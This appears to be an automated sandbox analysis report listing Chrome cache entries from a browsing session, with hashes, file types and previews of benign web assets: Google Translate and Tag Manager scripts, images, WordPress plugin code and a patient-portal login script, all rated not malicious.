URL:	https://www.gstatic.com/_/translate_http/_/ss/k=translate_http.tr.26tY-h6gH9w.L.W.O/am=wA/d=0/rs=AN8SPfpPTNr3cQN8QhzqvQYsNrDu3oHhow/m=el_main_css
Preview:	.VIpgJd-ZVi9od-ORHb-OEVmcd{left:0;top:0;height:39px;width:100%;z-index:10000001;position:fixed;border:none;border-bottom:1px solid #6B90DA;margin:0;box-shadow:0 0 8px 1px #999}.VIpgJd-ZVi9od-xl07Ob-OEVmcd{z-index:10000002;border:none;position:fixed;box-shadow:0 3px 8px 2px #999}.VIpgJd-ZVi9od-SmfZ-OEVmcd{z-index:10000000;border:none;margin:0}.goog-te-gadget{font-family:arial;font-size:11px;color:#666;white-space:nowrap}.goog-te-gadget img{vertical-align:middle;border:none}.goog-te-gadget-simple{background-color:#FFF;border-left:1px solid #D5D5D5;border-top:1px solid #9B9B9B;border-bottom:1px solid #E8E8E8;border-right:1px solid #D5D5D5;font-size:10pt;display:inline-block;padding-top:1px;padding-bottom:2px;cursor:pointer}.goog-te-gadget-icon{margin-left:2px;margin-right:2px;width:19px;height:19px;border:none;vertical-align:middle}.goog-te-combo{margin-left:4px;margin-right:4px;vertical-align:baseline}.goog-te-gadget .goog-te-combo{margin:4px 0}.VIpgJd-ZVi9od-l4eHX-hSRGPd,.VIpgJd-ZVi9od-

Chrome Cache Entry: 519

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1951)
Category:	downloaded
Size (bytes):	135085
Entropy (8bit):	5.554629651331472
Encrypted:	false
SSDEEP:	3072:eDixfkQtLTD0dQ+In3PGLSNTTyL7EpAs/9veqM:YeZk+33TyL7EplI
MD5:	EAA75E36E26E779B6F0C12EA5D468798
SHA1:	B0F5836EEF3A30978CE510BDADC53BD9A6368CF6
SHA-256:	AAFE8D8ED420AD2AEF9638F802FEF2EB14179B3E31E33E531D4EBC33AA0F6502
SHA-512:	18158C726B73103CC62F24AD0F040235C8099A4DCC437BF874CBCAD245D5DE4B1C17FD7486F81AD70DD41D81AA076908D1B79DCDC96800C857D152E9D4E97B47
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtm.js?id=GTM-M6GP474
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"3",. . "macros":[{"function":"__e"},{"function":"__aev","vtp_varType":"TEXT"},{"function":"__u","vtp_component":"URL","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__f","vtp_component":"URL"},{"function":"__u","vtp_component":"HOST","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__u","vtp_component":"PATH","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__e"},{"function":"__v","vtp_name":"gtm.element","vtp_dataLayerVersion":1},{"function":"__v","vtp_name":"gtm.elementClasses","vtp_dataLayerVersion":1},{"function":"__v","vtp_name":"gtm.elementId","vtp_dataLayerVersion":1},{"function":"__v","vtp_name":"gtm.elementTarget","vtp_dataLayerVersion":1},{"function":"__v","vtp_name":"gtm.elementUrl","vtp_dataLayerVersion":1}],. "tags":[{"function":"__cl","tag_id":11},{

Chrome Cache Entry: 520

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2270
Entropy (8bit):	7.6578853455434714
Encrypted:	false
SSDEEP:	48:tE/6xbywCIQBTAynWk/xaV+yK2Iehm0SdeI405wlvNq5EthGF7D4FNAnklfVi:6SNL5QBEyn5oIe0PdeIFQvRhGF7kl4
MD5:	4F2FE78AD7F84818A5175447531CF54D
SHA1:	C8C98CD7DB51284B8A688F90A0A898883395AD5C
SHA-256:	47421EC42F35B25C751B4D22F78BCBFB96FA34093A8E41A49CA798944B805AC8
SHA-512:	1AD414238D6F2AD7471B5ABF1F096D803BB1F698DC5516D6B378D6AC4697D4889E1A44E3A7B62B29B95F7B02B5FF591FA4F92DD6371204CEEB9DCE38B9C8C35A
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR... ... .....szz.....gAMA......a.....sRGB........ cHRM..z&..............u0...`..:....p..Q<....bKGD..............pHYs................QIDATX..[l\W...u..l./....'..7u.6.I..-..8.%E"j.....TA$CE.'.@..P.\U.T...P5r..%CJ.U.P..n..n..c;....3..3g.p....6...]..ly.......................r .....,...'Q......6.y`.8.\...D....\^.\|........5 ..G_}.c,5W.v..@......z..A.B .......@....._.<}Sef1......\|.x......U.O....@?..... .E...H..ZQ.(..D.?\.z..).U .....{;..0R.r.+.+..b.5.A.N....u.i.vO?z./T..-&K...E.P.x.5.kg.....Vo.\|..[/..L.\|....<.#......-.q.F .\|.x..w.J.~.c...<b...w..k....}..^..G........w......_.~....=@.....\|......".Ub......jJ-&.S"......}S ...~a.....a......+.`.<`M.....H_(.<...^.^.....q3....@...W`v......Te$R.y...Xc...iI...p._...7..}_w+p7..P.....2..,......z......y.o.\|.s1..b...e...~.f...............B,...WW.^..~....^.)O4.xo....F<....Y...".....W.= ............W'W.T..R.pf!.G./.?.... .KEm....S.g/W."..K.Z=..N!.A%f...b..U.O.o.h....c.B...@&A...L...7Z7.\...

Chrome Cache Entry: 521

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	70
Entropy (8bit):	3.577769619550495
Encrypted:	false
SSDEEP:	3:CUul/Re/FemxhkYltxlzeze:E07ize
MD5:	58A7930CD4577FC33C35828C271EAB8F
SHA1:	406E57F86DC101E10F3A57BE1E2F7B93C4580474
SHA-256:	8D70B3E6BADB6973663B398D297BB32EAEDD08826A1AF98D0A1CFCE5324FFCE0
SHA-512:	F7A5F748F4C0D3096A3CA972886FE9A9DFF5DCE7792779EC6FFC42FA880B3815E2E4C3BDEA452352F3844B81864C9BFB7861F66AC961CFA66CB9CB4FEBE568E8
Malicious:	false
Reputation:	low
URL:	https://match.adsrvr.org/track/cmf/google?g_uuid=&gdpr=0&gdpr_consent=&ttd_tdid=69c771e8-c390-4607-a64f-75376e6bf1de&google_gid=CAESEBEUesOdvpqtWGtPSZ5IcU0&google_cver=1
Preview:	GIF89a...................!..NETSCAPE2.0.....!.......,................;

Chrome Cache Entry: 522

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (429)
Category:	downloaded
Size (bytes):	33463
Entropy (8bit):	4.919882772434238
Encrypted:	false
SSDEEP:	768:Q39DWxxYRw0Q2RIGpfl2pHIXJuDhtr+LxQJhilL7/X4SZGOYflJrxb6AiNoTXexQ:Q39WxxYo2RIy9ioXJuDhELxQJhilLjXQ
MD5:	71FCA81C97637DC206940B3885CDBD4C
SHA1:	6A786E458615DA9A9CE7E89F08F17EB6754EFE54
SHA-256:	1A5D5EF391FC08D1C2C847359141A673AAD599692658781E4A435F072191958A
SHA-512:	132519F16441D4B387E2E44F6CDC244C5A87163E8F5884DB345EBB46AA66DC1290A59B0E9415FDD6C9073C1AE9CCC1797D7B47BD8D9057FD18C0A43D69FCC1AE
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/bt_cost_calculator/cc.main.js
Preview:	'use strict';..(function( $ ) {....var total;....var is_rtl = false;..var rtl_direction = 1;....// ---------------..// Functions start..// ---------------....window.bt_cc_subtotal = ';var setSubtotal = function( id, val, ignore_format ) {' +..'if ( arguments.length < 2 \|\| ! jQuery( "#btSubtotalId"+id ) ) return;' +..'var c = jQuery( "#btSubtotalId" + id ).closest( ".btQuoteBooking" );' +..'if ( ignore_format !== true ) val = bt_cc_currency_format( c, val );' +..'var currency = c.data( "currency" );' +..'var currency_after = c.data( "currency_after" );' +..'var currency_space = c.data( "currency_space" );' +..'var hide_total = c.data( "hide_total" );' +..'if ( currency != "" && ignore_format !== true ) {' +...'if ( currency_after == "yes" ) {' +....'if ( currency_space == "yes" ) {' +.....'val = val + " " + currency;' +....'} else {' +.....'val = val + currency;' +....'}' +...'} else {' +....'if ( currency_space == "yes" ) {' +.....'val = currency + " " + val;' +....'} else {' +.....'va

Chrome Cache Entry: 523

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	21015
Entropy (8bit):	4.767258576148397
Encrypted:	false
SSDEEP:	192:HVGD5Qy8EcU+KyoqhEtRQmeaXaqiliJivikNWTmZL6+g44lJAc5fSTqx0SA0u7Nj:XWKeriliJivivLAESTq16D4BbPQ
MD5:	0934F49166D560E9F65E71C598887C8B
SHA1:	FED67B937D35B564EE967C180AC5688285F9348F
SHA-256:	2645069D786AD04EE7376898A1C34C03D01149BABB7B2964ED0FF608358E5AEE
SHA-512:	3CB70C21910E74EFBA0E053E482D0D6C64D12F4C0BEF67C4623F3DEADF76E8CE11BDC0AB3F09E0EE1F3407ED6717863012774D3D547374347BF78CDFFDAFF41F
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/script/newLogin/common.js
Preview:	$(document).ready(function () {. // $('.sectionhgt').mCustomScrollbar({..// .theme: "minimal-dark"..// });.. showHideModules();. // Loader on click. $('.submitdata').on('click',function(){ . $("#validateDetail").show().delay(1000).hide(0);. });.. // Keyboard up and down navigation for Landing page widget component.. $(document).keydown(. function (e) {. if (e.keyCode == 40) {. $(".tagged:focus").next().focus().. }. if (e.keyCode == 38) {. $(".tagged:focus").prev().focus();.. }. }. );.. // Handle Enter Key. $(".tagged").on('keyup', function (e) {. if (e.which == 13) {. $(".tagged").attr('tabindex', '-1');. }. });.. // Handle Click Event. $(".tagged").on('click', function () {. $(".tagged").attr('tabindex', '-1');. });.. // Handle Tab Key Press. $("#UserCredential").on('keyup', function (e) {. if (e.which

Chrome Cache Entry: 524

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4179)
Category:	downloaded
Size (bytes):	203326
Entropy (8bit):	5.539725974677766
Encrypted:	false
SSDEEP:	3072:TQhzgNSNow8VNiAx8pF1+TYc2HcbUCQDe5L+aVsQC7SMp:MhewMNeq7ADe5LfV9C2y
MD5:	26422D37579464BAD176697E0FCABFF9
SHA1:	76AF5D8C57FE1E70467760EBAC5184A65669E3C3
SHA-256:	5B3D1052842C467D620E8A85A42975DBF195614E8F562737E051315A726529B7
SHA-512:	4E9BC926B3E10F56F3E72BAEC980E218AC07ECFACF2408397130FD0CE1BCE832D946E0379E03FF2517E9125ACEFFA32FD324B4B37F0E7D606D4A231868A3F9AA
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/js?id=UA-128496723-1
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":"undefined"}],. "tags":[{"function":"__ogt_1p_data_v2","priority":2,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneType":"CSS_SELECTOR","vtp_phoneValue":"","vtp_streetType":"CSS_SELECTOR","vtp_autoPhoneEnabled":false,"vtp_postalCodeType":"CSS_SELECTOR","vtp_emailValue":"","vtp_firstNameValue":"","vtp_streetValue":"","vtp_lastNameType":"CSS_SELECTOR","vtp_autoAddressEnabled":false,"vtp_regionValue":"","vtp_countryValue":"","vtp_isAutoCollectPiiEnab

Chrome Cache Entry: 525

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	37366
Entropy (8bit):	4.641470133239833
Encrypted:	false
SSDEEP:	768:/XYKVLSWgy3Jx6qQdTwn/63UZEQNfr2P2ioD:fYKVLSWgy3Jx6qQtq/nXfr2PoD
MD5:	09FA7CAB6BD6DA09F38BC61084ED2FDB
SHA1:	3FBCEAA9E5D38FBE70F75C8192B4AD49659B8B2C
SHA-256:	7FB926D3C7D72B16EA6056293823F0F82D07474EB57C7821C439372B853C1549
SHA-512:	F887C75F28A78668F25C58E14F6AC5E0487DDF9B971605074C721FCD231FE541A3A4D5D0A1CB48C9D3851DD71D79A38679390EB8163863F4CFA591A2B4659560
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/script/newLogin/newlogin_script.js
Preview:	.function changelang(languageId) {. document.getElementById("lngParam").value = languageId.id;. var form = document.getElementById('switchLangFrm');. form.action="login_otp.jsp";. form.submit();.}..jQuery(document).ready(function () {. $("#FLDOB").mask('99/99/9999');.});...function make_blank(oInput) {. if (oInput.value == oInput.value ==loginNewUIDetails("UserName") \|\|oInput.value ==loginNewUIDetails("Password")) {. oInput.value = '';. }.}..function trimString (str) {. while (str.charAt(0) == ' '). str = str.substring(1);. while (str.charAt(str.length - 1) == ' '). str = str.substring(0, str.length - 1);. return str;.}.. function loginOnclick(){. var struname = $('#loginUser').val();. $("#pwdStore").val($("#enterPwd").val());. var strupwd = $('#pwdStore').val();. struname = trimString(struname);. strupwd = trimString(strupwd);. if((struname==null)\|\|(struname=="")) {. $('.usernameblank, .afterloginerr').remo

Chrome Cache Entry: 526

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 339 x 390, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35044
Entropy (8bit):	7.973119309409504
Encrypted:	false
SSDEEP:	768:kgW/FW6UZka4cQAdFSq70SACyZ7roTCFn0LwnrIzzTW4iYZb:JW9jta4DpqsCyZHIgn0srSza4iwb
MD5:	4ECA889D761D6C5933A1143C81179E16
SHA1:	E58AC5731847F5C7E3B01683AB97E13EF01C6106
SHA-256:	956486D5B3CE16F39F6CF39B6A8318F92D01E7414E5003DC43F7D3668BB47F56
SHA-512:	BDC954CD78F68A6AF0F5442B66E24A590583697EE190FB9DB6A798D0830800BE70535904F926E3A6C47D3AAAE6B5FF2DB2BBF7E2BFD878C6966045EC75D01E17
Malicious:	false
Reputation:	low
URL:	https://mycw108.ecwcloud.com/portal14763/images/newLogin/pay-bill-vector-landing.png
Preview:	.PNG........IHDR...S..........b.....sBIT....\|.d... .IDATx^...T.......t.^...i.]D.....K..S.Mb"&...S..hbK..5....`'JS..I.........Y.....f..<\wv.....{.9..m&...I.$P..b..`...L.&...3..M`.0...B...4.!Z.&...I.`j..I.$`..A.....hU..L.&.....&...I ...LC..Ua.0.....v...L.&..$`0.A.V.I.$`.0..=`.0...B...4.!Z.&...I.`j..I.$`..A.....hU..L.&.....&...I ...LC..Ua.0.....v...L.&..$`0.A.V.I.$`.0..=`.0...B...4.!Z.&...I.`j..I.$`..A.....hU..L.&...6\|.....Y.n...+....z.b..kZ].o.\.6\|f...$ .Z....ck.....bU...7.......q.^i$`0-...hudE..w..h\|tYYl.T._...s......ST>.-@....\o.f,..P.(?..g..=^..\|U...N.hq}>..o..m.W..O...UV6>H..my.F.b.6.F......J...e......o....s.-f..j[...}.c}...Z..eeeg..9T..B@j.~_.....L....zl...3s..u..c.k...Wv.F..7.QVVq...P.D.....o..N....o.G.T.E ..i.B......#/+s?..X.....6..T.h..W....._Y.n..M......HO.`..xs..G..m[.l...F.+.m.{.V.$.Y.2g5a.&w.g..>pn.&.Ux.0..'.k.0`X...F?.m.B.i.+..L.)...Z<>>....'N..h@...1..'.j..m.vm.6....;...(.2+l..E..Ul......'.y.........Z...!.i.(.........f~.._Z

Chrome Cache Entry: 527

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	786
Entropy (8bit):	4.504954920772979
Encrypted:	false
SSDEEP:	12:U6VEcFWA4wd6s6z4/TLYNnvM/61FWmpK/111Ft15sKvXjWvM/HUTuKm6:3VpWA8Tz4/4N46NaHlHWuKB
MD5:	6811B8C35571B3BDEB4CB860803F2EF7
SHA1:	334647220511BA1A2FAFD7977BC252F04F0F340D
SHA-256:	EB861E3C0220C94296BBDEB8DEB876054E90E7D60DD27B7B8EB04BE54D94B5D8
SHA-512:	42D53667C5001C3AE042C353255B6804FF2088A3BA2BC6BBB3F316C754948D597E87CF4769869EEC37B9ED52CC640B9277999107DAA692EF49A0910697E3B667
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/wp-blog-post-layouts/includes/assets/js/frontend.js?ver=1.1.3
Preview:	/*.. Handles the events in the public facing window... /..jQuery(document).ready( function($) {.... "use strict";.. /.. Masonry layout for block... */.. // $( '.cv-block' ).each( function() {.. // var Pid = $(this).attr('id');.. // if( Pid === 'cv-masonry-post-layout' ) {.. // $(this).find( '.cv-post-wrapper' ).masonry();.. // }.. // });.. var masonryContainer = $( '.cv-masonry-post-layout' );.. if( masonryContainer.length !== 0 ) {.. masonryContainer.each( function() {.. var Pid = $(this).attr('id');.. var container = $( '#' + Pid + ' .cv-post-wrapper' );.. container.imagesLoaded( function() {.. container.masonry();.. }).. });.. }..});

Chrome Cache Entry: 528

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 46 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1053
Entropy (8bit):	7.756720724907772
Encrypted:	false
SSDEEP:	24:/a6ItAWSdgmPntxjCoLEs24VyQlXI1PSvEat0Vk2EO0vfYS3l:i66AWsLPEsuT1aZRFHvQS3l
MD5:	DD45D75F398654AC976FE7E0924732CF
SHA1:	E17F4D34CAD5997A42DAACC4301747F6DEB1AA43
SHA-256:	281A4AFA0686C5E3B70F560D07FE1E786CA76B3F08FDFF69841564AB229E2AB9
SHA-512:	BC7A471CC96F28FAAD3CB9BA33B12A99869AD608F2BA3EF11EABC88984493F24D27B4160A218A92E459A56F8B003651EAF22FEF7E15EF8DF9B90391A0633487E
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/images/branding/googlelogo/1x/googlelogo_color_46x16dp.png
Preview:	.PNG........IHDR.............i.M.....IDATx.._h.U..O.....R.b.}....Iff...;......!Z((R,BA...[...>...`..(..'..dSA.V..yi....t;3.v.1..M2..H.....K...w.#..,7..v...........xP'"...oZ..l.a.....g.\|..d...................Q(.k.q.+.Sy.p.3.?..E) [K.......4...z...q..p......@n..h).i...>.F.....\..>.~.^h.$.9.......Y.F>\|..._....`...-.g...yx.:b....'...`.U.G..6.^8..d..H.y.v..+... .b'..%.......x....b..g.U.s.'}..ZO.]x.V....<S..d.....6.......~.$.........R.........$'..k=.R}..\H..B .$.j.J....q.7x..{.r..f....g..?...,..{....).Z....}..n..~'.F2n.P.....?.....B.C={8W..c.z."W?.N 1S;...N.c..pc...g..G9i-..*r.`._.m..c....r..a.....npa$...I.#(...{...q..=..<.w.!......tteZ9..{Q....z.s+3.(/...W......6..8....>.z....FF...Ii..p.r.G...............t@.".......s......]..Q+(...Y..\.I.G<W.R.p.Wf....o.....U..W....f.R2.....R..lRl`..V...."..v.fq.\|.$.h...H..F.y.L.....!t.b..2A\|..........\|.p..............:.o.bx..R.......a.......g..I.c ...i."..gNU.},....70^.@....f.......H..m.t..G...7..Q..n.._g ..a.y.%

Chrome Cache Entry: 529

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2400 x 2400, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	341758
Entropy (8bit):	7.904563252686542
Encrypted:	false
SSDEEP:	6144:yIPmADdHYz7GG0eBirrY0mnf8RG6SsF34C/luublypjYHImJzaBFvtDc3+lJkV:KcdHYfj0eBIFmf8NS0RuFAIgaftw0kV
MD5:	C57C48F0CE49EE1602DCBF2C5FB68659
SHA1:	7E539E2F040B5D97114D670C1E45D81B4B9870E9
SHA-256:	F439DD91926E6EA3740B5C1CBABD8CA551D109EE5A6F3630B5E5ECF9F6A7E8E2
SHA-512:	6B625D9A807F3483E077CFE8953330EEAB01B8D0C5053A00C9C85111FA25F201946BEC38AAD0EC34F058A86DBA4FF92A309D1B01B795B125E296545F37C28F4A
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2023/11/HDR-2023.png
Preview:	.PNG........IHDR...`...`......M.n....pHYs...#...#.x.?v.. .IDATx.....\e}7.......lZQ.0..H.%.b..PA.>...Z.&....+A._."..K.I.....jU...[...h.f.-/.........,......s.\|>.5WBH.......=._..l.............9............,.........I............$.,.........I............$.,.........I............$.,.........I............$.,.........I............$.,.........I............$.,.........I............$.,.........I.............-L......T.7.#bvD.D...2.=.6..G,.....ESk6...........s#"=...s....#bIshp...............,x. ".M.yG. .BA,.....M.............M.^.myD.o.........t.......mU.7...W...<W.V..a.......X.....M....Kr.z.>.-.....R.....@'mf.....h.Z.17"n.@...j..\|.....@'......@.j......]....kU.......,....-j.F.D..=..#..C.+.z5e..W.wy.o..Y.....{.Hshp..........,... 7.z#. R....i;.<".F.....+P.Y &....V......;......948.................U.zt.$..<....e...1).5[E.....Y.sC....>".4.....\.....!.....LZ..X...r............f..TB...=.r...-./...@.......I.Z.-.dE.....,.2.W....!.....s.@f...5.f..T.....r#.....LX.....3.

Chrome Cache Entry: 530

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	600
Entropy (8bit):	7.391634169810707
Encrypted:	false
SSDEEP:	12:6v/7OEUT9vceKKNtY3kM8O+mucROzZbJOAjPBE2Iq8AnxT9:bTdcVIM8tfHzzjy2IdKT9
MD5:	0F2A4639B8A4CB30C76E8333C00D30A6
SHA1:	57E273A270BB864970D747C74B3F0A7C8E515B13
SHA-256:	44B988703019CD6BFA86C91840FECF2A42B611B364E3EEA2F4EB63BF62714E98
SHA-512:	3EA72C7E8702D2E9D94B0FAA6FA095A33AB8BC6EC2891F8B3165CE29A9CCF2114FAEF424FA03FD4B9D06785326284C1BB2087CE05E249CCAC65418361BFA7C51
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/refresh_2x.png
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX..M+.Q.....&/....&......6...\|.I..).o.I.X..#.@.bb.D.'5....m...=..y........{....<.P..;.H......f...3l...M.I...j2.....3..1x..S......9..<m...E.'F'.. ...M.j...C..c.5.-..F..3H./F!.."V.e.i.}.Y....../.rw...@...].rp...`CQo(.....J...u.".!E...$.^$...k....b....@.^.;.u5........H/Q{..$..'..........w...r.+xS.uR..J.......GD.O./.. G7..l...J.t.3.S...N.7...e..s.-Jlj)..5E....E.;8w4.k..=.li.G...1.c....p,T6;....1.oW.%.2,..Z..a...*m.s}T1F....Hr.1......<x0.....-.i......IEND.B`.

Chrome Cache Entry: 531

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1214
Entropy (8bit):	4.47782330105859
Encrypted:	false
SSDEEP:	24:2d1Cso282K2zo282KFl/ZWoX8Gi3YoX82KFl4+5MR/WXt8:c17r82hzr820/UK8GBK820VQWXW
MD5:	E64B8CC625E29983A432184839A727A5
SHA1:	8D701603C34804A4220FDBFE7905A522D24E5D19
SHA-256:	EE2233CF18847F9A01570AA59A832168422D734002CBFE637C8E9B11E4A626E2
SHA-512:	CDD52FADB9A0623B062539FCD26F3E05431F837221131FBAC84B36705B8A0479CE4D457981C7C04E02D9672D27945CD802615C968E77500B72BB3450ABE2DF14
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2020/07/logo__vpchc-mobile.svg
Preview:	<?xml version="1.0" encoding="UTF-8"?><svg enable-background="new 0 0 48.6 47.5" viewBox="0 0 48.6 47.5" xmlns="http://www.w3.org/2000/svg"><title>Logo</title><g transform="translate(0 .5)"><path d="m33.3-.5c-8.5 0-15.4 6.9-15.4 15.4s6.9 15.4 15.4 15.4 15.4-6.9 15.4-15.4-6.9-15.4-15.4-15.4zm0 5.5c5.4 0 9.8 4.4 9.8 9.8s-4.4 9.8-9.8 9.8-9.8-4.4-9.8-9.8 4.3-9.8 9.8-9.8z" fill="#2d4590"/><path d="m15.4-.5c-8.5 0-15.4 6.9-15.4 15.4s6.9 15.4 15.4 15.4 15.4-6.9 15.4-15.4-6.9-15.4-15.4-15.4zm0 5.5c5.4 0 9.8 4.4 9.8 9.8s-4.4 9.8-9.8 9.8-9.8-4.4-9.8-9.8 4.3-9.8 9.8-9.8z" fill="#70b244"/><path d="m15.4 16.2c-8.5 0-15.4 6.9-15.4 15.4s6.9 15.4 15.4 15.4 15.4-6.9 15.4-15.4-6.9-15.4-15.4-15.4zm0 5.6c5.4 0 9.8 4.4 9.8 9.8s-4.4 9.8-9.8 9.8-9.9-4.4-9.9-9.8 4.4-9.8 9.9-9.8z" fill="#2d4590"/><path d="m33.3 16.2c-8.5 0-15.4 6.9-15.4 15.4s6.9 15.4 15.4 15.4 15.4-6.9 15.4-15.4-6.9-15.4-15.4-15.4zm0 5.6c5.4 0 9.8 4.4 9.8 9.8s-4.4 9.8-9.8 9.8-9.8-4.4-9.8-9.8 4.3-9.8 9.8-9.8z" fill="#70b244"/><path d="m24.3 19.

Chrome Cache Entry: 532

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2400 x 2400, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	341758
Entropy (8bit):	7.904563252686542
Encrypted:	false
SSDEEP:	6144:yIPmADdHYz7GG0eBirrY0mnf8RG6SsF34C/luublypjYHImJzaBFvtDc3+lJkV:KcdHYfj0eBIFmf8NS0RuFAIgaftw0kV
MD5:	C57C48F0CE49EE1602DCBF2C5FB68659
SHA1:	7E539E2F040B5D97114D670C1E45D81B4B9870E9
SHA-256:	F439DD91926E6EA3740B5C1CBABD8CA551D109EE5A6F3630B5E5ECF9F6A7E8E2
SHA-512:	6B625D9A807F3483E077CFE8953330EEAB01B8D0C5053A00C9C85111FA25F201946BEC38AAD0EC34F058A86DBA4FF92A309D1B01B795B125E296545F37C28F4A
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...`...`......M.n....pHYs...#...#.x.?v.. .IDATx.....\e}7.......lZQ.0..H.%.b..PA.>...Z.&....+A._."..K.I.....jU...[...h.f.-/.........,......s.\|>.5WBH.......=._..l.............9............,.........I............$.,.........I............$.,.........I............$.,.........I............$.,.........I............$.,.........I............$.,.........I............$.,.........I.............-L......T.7.#bvD.D...2.=.6..G,.....ESk6...........s#"=...s....#bIshp...............,x. ".M.yG. .BA,.....M.............M.^.myD.o.........t.......mU.7...W...<W.V..a.......X.....M....Kr.z.>.-.....R.....@'mf.....h.Z.17"n.@...j..\|.....@'......@.j......]....kU.......,....-j.F.D..=..#..C.+.z5e..W.wy.o..Y.....{.Hshp..........,... 7.z#. R....i;.<".F.....+P.Y &....V......;......948.................U.zt.$..<....e...1).5[E.....Y.sC....>".4.....\.....!.....LZ..X...r............f..TB...=.r...-./...@.......I.Z.-.dE.....,.2.W....!.....s.@f...5.f..T.....r#.....LX.....3.

Chrome Cache Entry: 533

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2308)
Category:	downloaded
Size (bytes):	211744
Entropy (8bit):	5.569596577683188
Encrypted:	false
SSDEEP:	3072:P1rfcgWcAcqViF52C1MfJGOi0PzuRX2JT7CxFRMd:9LWUMfJJbkY
MD5:	B78A598053844B5AE2D3C1D98851D54A
SHA1:	F75001B57E8D501345F9F6A24BB05B4DA381022D
SHA-256:	C1E457211FAFB84677E66E20FA411E5D6875DFCED5E2E8727615589AA3434D02
SHA-512:	CF62AEE1C839611F664BB1F69150A522E2148A31ADD3BA43D283F71F9E1EB4C2E37470B49D86C7E33385DFB6AE2DC2BD7C76047F4D4523810F6BC0F0CE06BFD4
Malicious:	false
Reputation:	low
URL:	https://translate.googleapis.com/_/translate_http/_/js/k=translate_http.tr.en_US.XZaNfPJSrQM.O/am=AAQ/d=1/exm=el_conf/ed=1/rs=AN8SPfq-S-gm4q6l6Gszidgk6vv3vGuoKQ/m=el_main
Preview:	"use strict";this.default_tr=this.default_tr\|\|{};(function(_){var window=this;.try{.var Jh,Kh,Lh,Th,di,ei,fi,gi,ki,Ph;Jh=function(a){return _.Aa?_.Ba?_.Ba.brands.some(function(b){return(b=b.brand)&&-1!=b.indexOf(a)}):!1:!1};Kh=function(){return _.v("Firefox")\|\|_.v("FxiOS")};Lh=function(){return _.Ca()?Jh("Chromium"):(_.v("Chrome")\|\|_.v("CriOS"))&&!(_.Ca()?0:_.v("Edge"))\|\|_.v("Silk")};._.Mh=function(){return _.v("Safari")&&!(Lh()\|\|(_.Ca()?0:_.v("Coast"))\|\|_.Da()\|\|(_.Ca()?0:_.v("Edge"))\|\|(_.Ca()?Jh("Microsoft Edge"):_.v("Edg/"))\|\|(_.Ca()?Jh("Opera"):_.v("OPR"))\|\|Kh()\|\|_.v("Silk")\|\|_.v("Android"))};_.Nh=function(){return _.v("Android")&&!(Lh()\|\|Kh()\|\|_.Da()\|\|_.v("Silk"))};_.Oh=function(a){if(a instanceof _.Mc)return a.g;throw Error("A");};_.Qh=function(a){if(Ph.test(a))return a};_.Rh=function(a){return a instanceof 